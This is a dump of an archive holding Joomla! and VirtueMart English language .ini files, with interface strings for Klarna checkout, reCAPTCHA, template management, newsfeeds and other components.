VMPAYMENT_KLARNACHECKOUT_ACTIVATE_RESERVATION="Order status order shipped" VMPAYMENT_KLARNACHECKOUT_ACTIVATE_RESERVATION_DESC="Order status when the order is shipped, it will activate Reservation to Klarna" VMPAYMENT_KLARNACHECKOUT_CANCEL_RESERVATION="Order status order is cancelled" VMPAYMENT_KLARNACHECKOUT_CANCEL_RESERVATION_DESC="Order status when the order is cancelled, it will send an Cancel Reservation to Klarna, to be used if the reservation needs to be removed." VMPAYMENT_KLARNACHECKOUT_CHANGE_RESERVATION="Order status order Change reservation" VMPAYMENT_KLARNACHECKOUT_CHANGE_RESERVATION_DESC="Order status order, it will send an changeReservation to Klarna, This is useful when a customer want to change their order and the order amount changes." VMPAYMENT_KLARNACHECKOUT_INVOICE_NUMBER="Transaction ID" VMPAYMENT_KLARNACHECKOUT_ACTION_NOT_AUTHORIZED="Setting the order to %1$s is not authorized by Klarna, and the Order Status at Klarna is %2$s." VMPAYMENT_KLARNACHECKOUT_SELECT_SHIPMENT_FIRST="To have access to %s payment form, please select a shipment method fist" VMPAYMENT_KLARNACHECKOUT_ORDER_BE_WARNING="Turn off the Payment debug option to only display the essential data" VMPAYMENT_KLARNACHECKOUT_DATE="Payment date" VMPAYMENT_KLARNACHECKOUT_PAYMENT_STATUS_CHECKOUT_COMPLETE="Your payment for order %s has been confirmed by Klarna. Your reservation number is %s" VMPAYMENT_KLARNACHECKOUT_ERROR_NO_RNO="No Reservation Number has been found in payment table" VMPAYMENT_KLARNACHECKOUT_RESERVATION_CANCELED="Klarna Reservation %1s has been canceled" VMPAYMENT_KLARNACHECKOUT_MAX_AMOUNT="Maximum Amount" VMPAYMENT_KLARNACHECKOUT_MAX_AMOUNT_DESC="Maximum Order Amount to offer this Payment" VMPAYMENT_KLARNACHECKOUT_MIN_AMOUNT="Minimum Amount" VMPAYMENT_KLARNACHECKOUT_MIN_AMOUNT_DESC="Minimum Order Amount to offer this Payment" VMPAYMENT_KLARNACHECKOUT_PAYMENT_PARAMS="PAYMENT SETTINGS" VMPAYMENT_KLARNACHECKOUT_TEMPLATING="TEMPLATING" VMPAYMENT_KLARNACHECKOUT_PAYMENT_PAGE="ORDER STATUS" VMPAYMENT_KLARNACHECKOUT_PURCHASE_COUNTRY="Purchase Country" VMPAYMENT_KLARNACHECKOUT_PURCHASE_COUNTRY_DESC="Country in which the purchase is done" VMPAYMENT_KLARNACHECKOUT_PURCHASE_CURRENCY="Purchase Currency" VMPAYMENT_KLARNACHECKOUT_PURCHASE_CURRENCY_DESC="Currency in which the purchase is done" VMPAYMENT_KLARNACHECKOUT_STATUS="Status at klarna" VMPAYMENT_KLARNACHECKOUT_REFERENCE="Reference" VMPAYMENT_KLARNACHECKOUT_RESERVATION="Reservation number" VMPAYMENT_KLARNACHECKOUT_PAYMENT_STATUS_ACTIVATE="Reservation is activated" VMPAYMENT_KLARNACHECKOUT_TOTAL_PRICE_EXCLUDING_TAX="Total price excluding tax" VMPAYMENT_KLARNACHECKOUT_TOTAL_TAX_AMOUNT="Total tax amount" VMPAYMENT_KLARNACHECKOUT_TOTAL_PRICE_INCLUDING_TAX="Total price including tax" VMPAYMENT_KLARNACHECKOUT_ITEMS="Items"PK@y>\<<#language/en-GB/en-GB.mod_logged.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_ADMINISTRATOR="Administrator" MOD_LOGGED_EDIT_USER="Edit user" MOD_LOGGED_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Count" MOD_LOGGED_FIELD_NAME_DESC="Displays name or user name" MOD_LOGGED_LAST_ACTIVITY="Last Activity" MOD_LOGGED_LOGOUT="Logout" MOD_LOGGED_NAME="Name" MOD_LOGGED_SITE="Site" MOD_LOGGED_TITLE="Last Logged-in Users" MOD_LOGGED_TITLE_1="Last Logged-in User" MOD_LOGGED_TITLE_MORE="Last %s Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" PK@y>\5 '44.language/en-GB/en-GB.plg_captcha_recaptcha.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="This CAPTCHA plugin uses the reCAPTCHA service to prevent spammers while it helps to digitize books, newspapers and old radio shows. To get a public and private key for your domain, go to http://www.google.com/recaptcha. To use this for new account registration, go to Options in the User Manager and select Captcha - reCaptcha as the Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ; Params PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Public Key" PLG_RECAPTCHA_PUBLIC_KEY_DESC="Used in the JavaScript code that is served to your users. See the plugin description for instructions on getting a public key." PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Private Key" PLG_RECAPTCHA_PRIVATE_KEY_DESC="Used in the communication between your server and the ReCaptha server. Be sure to keep it a secret. See the plugin description for instructions on getting a private key." PLG_RECAPTCHA_THEME_LABEL="Theme" PLG_RECAPTCHA_THEME_DESC="Defines which theme to use for reCAPTCHA." PLG_RECAPTCHA_THEME_RED="Red" PLG_RECAPTCHA_THEME_WHITE="White" PLG_RECAPTCHA_THEME_BLACKGLASS="BlackGlass" PLG_RECAPTCHA_THEME_CLEAN="Clean" PLG_RECAPTCHA_LANG_LABEL="Language" PLG_RECAPTCHA_LANG_DESC="Select the language for the reCAPTCHA. If default is set and the language file has a custom translation, it will be used." ; Error messages PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="ReCaptcha plugin needs a private key to be set in its parameters. Please contact a site administrator." PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="ReCaptcha plugin needs a public key to be set in its parameters. Please contact a site administrator." PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="Empty solution not allowed." PLG_RECAPTCHA_ERROR_NO_IP="For security reasons, you must pass the remote ip address to reCAPTCHA" PLG_RECAPTCHA_ERROR_UNKNOWN="Unknown error." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="We weren't able to verify the public key." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="We weren't able to verify the private key." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="The challenge parameter of the verify script was incorrect." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="The CAPTCHA solution was incorrect." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="The parameters to verify were incorrect, make sure you are passing all the required parameters." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="reCAPTCHA API keys are tied to a specific domain name for security reasons." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="Unable to contact the reCAPTCHA verify server." ; Uncomment(remove the ";" from the beginning of the line) the following lines if reCAPTCHA is not available in your language ; When uncommenting, do NOT translate PLG_RECAPTCHA_CUSTOM_LANG ; As of 01/01/2012, the following languages do not need translation: en, nl, fr, de, pt, ru, es, tr ;PLG_RECAPTCHA_CUSTOM_LANG="true" ;PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Type the two words:" ;PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Type what you hear:" ;PLG_RECAPTCHA_PLAY_AGAIN="Play sound again" ;PLG_RECAPTCHA_CANT_HEAR_THIS="Download sound as MP3" ;PLG_RECAPTCHA_VISUAL_CHALLENGE="Get a visual challenge" ;PLG_RECAPTCHA_AUDIO_CHALLENGE="Get an audio challenge" ;PLG_RECAPTCHA_REFRESH_BTN="Get a new challenge" ;PLG_RECAPTCHA_HELP_BTN="Help" ;PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="Incorrect. Try again." PK@y>\*̛)language/en-GB/en-GB.com_messages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="New Private Message" COM_MESSAGES_READ="Read Private Messages" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend"PK@y>\OL &language/en-GB/en-GB.com_templates.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Template Manager" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_TEMPLATES_ASSIGNED_1="Assigned to one menu item" COM_TEMPLATES_ASSIGNED_MORE="Assigned to %d menu items" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Basic Options" COM_TEMPLATES_CLICK_TO_ENLARGE="Click to enlarge." COM_TEMPLATES_CONFIG_FIELDSET_DESC="Global Configuration for Templates" COM_TEMPLATES_CONFIG_POSITIONS_DESC="Enable the preview of the module positions in the template by appending tp=1 to the web address. Also enables the Preview button in the list of templates. Please refresh the page after changing this setting." COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Preview Module Positions" COM_TEMPLATES_CONFIGURATION="Template Manager Options" COM_TEMPLATES_COPY_SUCCESS="New template called %s was installed successfully." COM_TEMPLATES_ERR_XML="Template XML data non available" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="Cannot delete last style of a template" COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="Cannot unset default style" COM_TEMPLATES_ERROR_COULD_NOT_COPY="Unable to copy template files to temporary directory." COM_TEMPLATES_ERROR_COULD_NOT_INSTALL="Unable to install new template from temporary directory." COM_TEMPLATES_ERROR_COULD_NOT_WRITE="Unable to delete temporary directory." COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED="Unable to create temporary directory." COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME="A template with this name already is installed." COM_TEMPLATES_ERROR_EDITOR_DISABLED="Either the CodeMirror or the None editor plug-in should be enabled to edit template files" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="Extension record not found in database" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="An error occurred. The file %s could not be saved." COM_TEMPLATES_ERROR_INVALID_FROM_NAME="Template to copy from cannot be found." COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME="Invalid template name. Please use only letters, numbers, dashes, and underscores." COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="Unable to save a style associated to a disabled template" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="Source file not found" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="Source file can't be returned to unwritable status" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="Source file not writable" COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="Stored ID does not match the submitted one" COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Style not found" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="The style requires a title" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="Template folder not found" COM_TEMPLATES_FIELD_CLIENT_DESC="Whether this template is used for the frontend (0) or the backend (1)" COM_TEMPLATES_FIELD_CLIENT_LABEL="Location" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="This template style is defined or not as default template style" COM_TEMPLATES_FIELD_HOME_LABEL="Default" COM_TEMPLATES_FIELD_HOME_SITE_DESC="If the multilingual functionality is not implemented, please limit your choice between No and All. The template style will be defined or not as global default template style.
        If the System - Language Filter plugin is enabled, and you use different template styles depending on your content languages, please assign a language to this style." COM_TEMPLATES_FIELD_SOURCE_DESC="Source code" COM_TEMPLATES_FIELD_SOURCE_LABEL="Source Code" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Template Name" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Template" COM_TEMPLATES_FIELD_TITLE_DESC="Style Name" COM_TEMPLATES_FIELD_TITLE_LABEL="Style Name" COM_TEMPLATES_FILE_SAVE_SUCCESS="File successfully saved" COM_TEMPLATES_FILTER_TEMPLATE="- Select Template -" COM_TEMPLATES_FTP_DESC="For updating the template source files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_TEMPLATES_FTP_TITLE="FTP Login Details" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Unset %s Default" COM_TEMPLATES_HEADING_ASSIGNED="Assigned" COM_TEMPLATES_HEADING_DEFAULT="Default" COM_TEMPLATES_HEADING_STYLE="Style" COM_TEMPLATES_HEADING_TEMPLATE="Template" COM_TEMPLATES_MANAGER="Template Manager" COM_TEMPLATES_MANAGER_ADD_STYLE="Template Manager: Add Style" COM_TEMPLATES_MANAGER_EDIT_FILE="Template Manager: Edit File" COM_TEMPLATES_MANAGER_EDIT_STYLE="Template Manager: Edit Style" COM_TEMPLATES_MANAGER_STYLES="Template Manager: Styles" COM_TEMPLATES_MANAGER_TEMPLATES="Template Manager: Templates" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Template Manager: Customise Template" COM_TEMPLATES_MENU_CHANGED_1="One menu item has been assigned or unassigned to this style" COM_TEMPLATES_MENU_CHANGED_MORE="%d menu items have been assigned or unassigned to this style" COM_TEMPLATES_MENUS_ASSIGNMENT="Menus assignment" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="There are no styles installed matching your query" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="There are no templates installed matching your query" COM_TEMPLATES_N_ITEMS_DELETED="%d template styles successfully deleted" COM_TEMPLATES_N_ITEMS_DELETED_1="Template style successfully deleted" COM_TEMPLATES_NO_TEMPLATE_SELECTED="No template selected" COM_TEMPLATES_PREVIEW="Preview" COM_TEMPLATES_SITE_PREVIEW="Site preview" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="Cannot delete default style" COM_TEMPLATES_STYLE_SAVE_SUCCESS="Style successfully saved" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Search in style description." COM_TEMPLATES_SUBMENU_STYLES="Styles" COM_TEMPLATES_SUBMENU_TEMPLATES="Templates" COM_TEMPLATES_SUCCESS_DUPLICATED="Style successfully duplicated." COM_TEMPLATES_SUCCESS_HOME_SET="Default style successfully set." COM_TEMPLATES_SUCCESS_HOME_UNSET="Default style successfully unset." COM_TEMPLATES_TEMPLATE_ADD_CSS="Add new stylesheet" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Add custom error page template (optional)" COM_TEMPLATES_TEMPLATE_COPY="Copy Template" COM_TEMPLATES_TEMPLATE_CSS="Stylesheets" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Template description" COM_TEMPLATES_TEMPLATE_DETAILS="%s Details and Files" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Edit %s" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Edit error page template" COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Edit main page template" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Edit offline page template" COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Edit print view template" COM_TEMPLATES_TEMPLATE_FILENAME="Editing file "_QQ_"%s"_QQ_" in template "_QQ_"%s"_QQ_"." COM_TEMPLATES_TEMPLATE_HTML="HTML files" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Template Master Files" COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC="New Template Name::Enter the name of the new template. Please use letters, numbers, and underscore only." COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL="New Template Name" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="No preview available. You can enable preview in the options." COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="No preview available for Administrator templates" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="To enable template previews, enable the Preview Module Positions option in Template Options" COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Template not specified." COM_TEMPLATES_TEMPLATE_PREVIEW="Preview" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Search in template name or folder name." COM_TEMPLATES_TOOLBAR_SET_HOME="Default" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
        2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\I0<<3language/en-GB/en-GB.plg_content_pagenavigation.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="The position of the Page Navigation function on the viewed page in relation to the text." PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Position" PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Assigns the relative location for the Position parameter. Text will place it directly above or below the article content. Full article will place it above or below the full display including title and readmore." PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Relative to" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Above" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Full article" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Below" PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Text" PLG_PAGENAVIGATION_XML_DESCRIPTION="Enables you to add the Next & Previous functionality to an Article." PK@y>\> ؒ,language/en-GB/en-GB.plg_finder_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Smart Search - Contacts" PLG_FINDER_CONTACTS_XML_DESCRIPTION="This plugin indexes Joomla! Contacts." PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Contact" PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Region" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="Country" PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Contacts" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Regions" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Countries" PK@y>\eE  #language/en-GB/en-GB.mod_custom.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Custom HTML" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Optionally prepare the content with the Joomla Content Plug-ins." MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Prepare Content" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor."PK@y>\=#h7language/en-GB/en-GB.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="Custom Product Specification"PK@y>\E&language/en-GB/en-GB.com_newsfeeds.ininuW+A; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Joomla! Project ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_NEWSFEEDS_BATCH_OPTIONS="Batch process the selected newsfeeds" COM_NEWSFEEDS_BATCH_TIP="If choosing to copy a newsfeed, any other actions selected will be applied to the copied newsfeed. Otherwise, all actions are applied to the selected newsfeed." COM_NEWSFEEDS_CACHE_TIME_HEADING="Cache Time" COM_NEWSFEEDS_CATEGORIES_DESC="These settings apply for Newsfeeds Categories Options unless they are changed for a specific menu item." COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Select feed" COM_NEWSFEEDS_CONFIGURATION="News Feed Manager Options" COM_NEWSFEEDS_EDIT_NEWSFEED="Edit News Feed" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="Another Newsfeed from this category has the same alias" COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Feeds category display options" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="The number of minutes before the news feed cache is refreshed." COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Cache Time" COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Feeds categories display options" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="The category that this feed is assigned to" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Number of characters to display per feed." COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Characters count" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Number of characters to include in the feed" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Characters Count" COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Newsfeeds Category Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layout Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="These settings apply for single news feeds unless they are changed for a specific menu item or news feed" COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="News Feed" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="The order used to display the feed" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Feed display order" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Feeds display options" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Feeds display options" COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Assign a language to this news feed" COM_NEWSFEEDS_FIELD_LINK_DESC="Link to the news feed" COM_NEWSFEEDS_FIELD_LINK_LABEL="Link" COM_NEWSFEEDS_FIELD_MODIFIED_DESC="The date and time the news feed was last modified" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Show or Hide the Number of Articles in each Feed ( You can set this value in each Newsfeed )" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="# Articles" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Number of articles from the feed to display" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Number of Articles" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Default number of feeds to list on a page." COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="# Feeds to List" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Number of feeds to display" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Number of feeds" COM_NEWSFEEDS_FIELD_OPTIONS="Feed Options" COM_NEWSFEEDS_FIELD_RTL_DESC="Select the language direction of the feed" COM_NEWSFEEDS_FIELD_RTL_LABEL="Language Direction" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Choose a feed category to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Select a feed to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="Feed" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Newsfeeds in category" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="# Feeds in Category" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Show or Hide feed description" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Feed Description" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Show or Hide feed images" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Feed Image" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Show or Hide Feed Content" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Feed Content" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Show or Hide feed links URL" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Feed Links" COM_NEWSFEEDS_FIELD_VALUE_LTR="Left to Right Direction" COM_NEWSFEEDS_FIELD_VALUE_RTL="Right to Left Direction" COM_NEWSFEEDS_FIELD_VALUE_SITE="Site Language Direction" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Feed Display Options" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Enter here a news feed title to search." COM_NEWSFEEDS_MANAGER_NEWSFEED="News Feed Manager: News Feed" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="News Feed Manager" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d news feeds successfully archived" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="News feed successfully archived" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="No news feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="News feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d news feeds successfully checked-in" COM_NEWSFEEDS_N_ITEMS_DELETED="%d news feeds successfully deleted" COM_NEWSFEEDS_N_ITEMS_DELETED_1="News feed successfully deleted" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d news feeds successfully published" COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="News feed successfully published" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d news feeds successfully trashed" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="News feed successfully trashed" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d news feeds successfully unpublished" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="News feed successfully unpublished" COM_NEWSFEEDS_NEW_NEWSFEED="New" COM_NEWSFEEDS_NO_ITEM_SELECTED="No news feeds selected" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="# Articles" COM_NEWSFEEDS_PUBLISH_ITEM="Publish News Feed" COM_NEWSFEEDS_SAVE_SUCCESS="News feed successfully saved" COM_NEWSFEEDS_SEARCH_IN_TITLE="Search" COM_NEWSFEEDS_SELECT_A_FEED="Select feed" COM_NEWSFEEDS_SELECT_FEED="Select feed" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Newsfeeds or subcategories." COM_NEWSFEEDS_SUBMENU_CATEGORIES="Categories" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="News Feeds" COM_NEWSFEEDS_UNPUBLISH_ITEM="Unpublish News Feed" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds." JGLOBAL_NEWITEMSLAST_DESC="New news feeds default to the last position. The ordering can be changed after this news feed has been saved." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
        2. If you select a new setting, click Save to refresh the calculated settings."PK@y>\/BB0language/en-GB/en-GB.plg_system_remember.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\x{tt'language/en-GB/en-GB.mod_status.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="User Status" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users." MOD_STATUS_LAYOUT_DEFAULT="Default" PK@y>\[;language/en-GB/en-GB.plg_vmpayment_moneybookers_obt.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Bank Transfer"PK@y>\3xx'language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="About" COM_VIRTUEMART_ACCESS_FORBIDDEN="Access Forbidden" COM_VIRTUEMART_ADD="New" COM_VIRTUEMART_ADDRESS="Address" COM_VIRTUEMART_ADD_COMMENT="Add Comment" 